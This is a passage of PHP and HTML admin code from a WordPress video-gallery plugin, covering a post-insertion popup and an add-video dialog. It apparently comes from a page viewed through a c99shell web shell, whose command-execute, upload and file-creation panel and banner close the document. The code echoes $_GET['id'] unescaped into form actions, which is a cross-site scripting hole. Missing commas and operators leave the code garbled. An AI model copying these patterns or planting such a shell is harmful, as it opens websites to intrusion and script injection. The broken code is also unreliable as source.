                            <form method="post"  onkeypress="doNothing()" action="admin.php?page=videogallerys_huge_it_videogallery&task=popup_posts&id=<?php echo $_GET['id']; ?>&closepop=1" id="admin_form" name="admin_form">
                            <button class='save-videogallery-options button-primary huge-it-insert-post-button' id='huge-it-insert-post-button-top'>Insert Posts</button>
                            <label for="huge-it-description-length">Description Length <input id="huge-it-description-length" type="text" name="posthuge-it-description-length" value="<?php echo $row->published?>" placeholder="Description length" /></label>
                            <div class="view-type-block">
                                <a class="view-type list active" href="#list">View List</a>
                                <a class="view-type thumbs" href="#thumbs">View List</a>
                            </div>
                        </div>
                        <div style="clear:both;"></div>
                        <ul id="huge-it-posts-list" class="list">
                            <li id="huge-it-posts-list-heading" class="hascolor">
                                <div class="huge-it-posts-list-image">Image</div>
                                <div class="huge-it-posts-list-title">Title</div>
                                <div class="huge-it-posts-list-description">
                                    Description
                                    
                                </div>
                                <div class="huge-it-posts-list-link">Link</div>
                                <div class="huge-it-posts-list-category">Category</div>
                            </li>
                            <?php 



                            $strx
=1;
                            foreach(
$rowsposts8 as $rowspostspop1){
                                 
$query=$wpdb->prepare("SELECT * FROM ".$wpdb->prefix."posts where post_type = 'post' and post_status = 'publish' and ID = %d  order by ID ASC"$rowspostspop1->object_id);
                            
$rowspostspop=$wpdb->get_results($query);
                            
//print_r($rowspostspop);
                            
                            
                                
$post_categories =  wp_get_post_categories$rowspostspop[0]->ID$rowspostspop[0]->ID ); 
                                
$cats = array();
                                
                                
                                foreach(
$post_categories as $c){
                                    
$cat get_category$c );
                                    
$cats[] = array( 'name' => $cat->name'slug' => $cat->slug'id' => $cat->term_id );
                                    
//echo    $cat->slug;
                                
}
                                if(
get_the_post_thumbnail($rowspostspop[0]->ID'thumbnail') != ''){
                                    
$strx++;
                                    
$hascolor="";
                                    if(
$strx%2==0){$hascolor='class="hascolor"';}
                            
?>
                                
                                <li <?php echo $hascolor?>>
                                    <input type="checkbox" class="huge-it-post-checked"  value="<?php echo $rowspostspop[0]->ID?>">
                                    <div class="huge-it-posts-list-image"><?php echo get_the_post_thumbnail($rowspostspop[0]->ID'thumbnail'); ?></div>
                                    <div class="huge-it-posts-list-title"><?php echo $rowspostspop[0]->post_title;    ?></div>
                                    <div class="huge-it-posts-list-description"><?php echo    $rowspostspop[0]->post_content;    ?></div>
                                    <div class="huge-it-posts-list-link"><?php echo    $rowspostspop[0]->guid?></div>
                                    <div class="huge-it-posts-list-category"><?php echo    $cat->slug;    ?></div>
                                </li>
                            <?php }
                                }    
?>
                        </ul>
                        <input id="huge-it-add-posts-params" type="hidden" name="popupposts" value="" />
                        <div class="clear"></div>
                        <button class='save-videogallery-options button-primary huge-it-insert-post-button' id='huge-it-insert-post-button-bottom'>Insert Posts</button>
                        </form>
                        
                    </div>
                </div>        
    <?php
}
?>
<?php
function html_videogallery_video(){
    global 
$wpdb;

?>
    <style>
        html.wp-toolbar {
            padding:0px !important;
        }
        #wpadminbar,#adminmenuback,#screen-meta, .update-nag,#dolly {
            display:none;
        }
        #wpbody-content {
            padding-bottom:30px;
        }
        #adminmenuwrap {display:none !important;}
        .auto-fold #wpcontent, .auto-fold #wpfooter {
            margin-left: 0px;
        }
        #wpfooter {display:none;}
        iframe {height:250px !important;}
        #TB_window {height:250px !important;}
    </style>
    <script type="text/javascript">
        jQuery(document).ready(function() {            

            jQuery('.huge-it-insert-post-button').on('click', function() {
                var ID1 = jQuery('#huge_it_add_video_input').val();
                if(ID1==""){alert("Please copy and past url form Youtobe or Vimeo to insert into slider.");return false;}
                
                window.parent.uploadID.val(ID1);
                
                tb_remove();
                jQuery("#save-buttom").click();
            });
            
            jQuery('#huge_it_add_video_input').change(function(){
                
                if (jQuery(this).val().indexOf("youtube") >= 0){
                    jQuery('#add-video-popup-options > div').removeClass('active');
                    jQuery('#add-video-popup-options  .youtube').addClass('active');
                }else if (jQuery(this).val().indexOf("vimeo") >= 0){
                    jQuery('#add-video-popup-options > div').removeClass('active');
                    jQuery('#add-video-popup-options  .vimeo').addClass('active');
                }else {
                    jQuery('#add-video-popup-options > div').removeClass('active');
                    jQuery('#add-video-popup-options  .error-message').addClass('active');
                }
            })
                    
            jQuery('.updated').css({"display":"none"});
        <?php    if($_GET["closepop"] == 1){ ?>
            jQuery("#closepopup").click();
            self.parent.location.reload();
        <?php    ?>
        
        });
        
    </script>
    <a id="closepopup"  onclick=" parent.eval('tb_remove()')" style="display:none;" > [X] </a>

    <div id="huge_it_slider_add_videos">
        <div id="huge_it_slider_add_videos_wrap">
            <h2>Add Video URL From Youtobe or Vimeo</h2>
            <div class="control-panel">
                <form method="post" action="admin.php?page=videogallerys_huge_it_videogallery&task=videogallery_video&id=<?php echo $_GET['id']; ?>&closepop=1" >
                    <input type="text" id="huge_it_add_video_input" name="huge_it_add_video_input" />
                    <button class='save-slider-options button-primary huge-it-insert-video-button' id='huge-it-insert-video-button'>Insert Video</button>
                    <div id="add-video-popup-options">
                        <div>
                            <div>
                                <label for="show_title">Title:</label>    
                                <div>
                                    <input name="show_title" value="" type="text" />
                                </div>
                            </div>
                            <div>
                                <label for="show_description">Description:</label>
                                <textarea id="show_description" name="show_description"></textarea>
                            </div>
                            <div>
                                <label for="show_url">Url:</label>
                                <input type="text" name="show_url" value="" />    
                            </div>
                        </div>
                    </div>
                </form>
            </div>
        </div>    
    </div>
<?php
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0468 ]--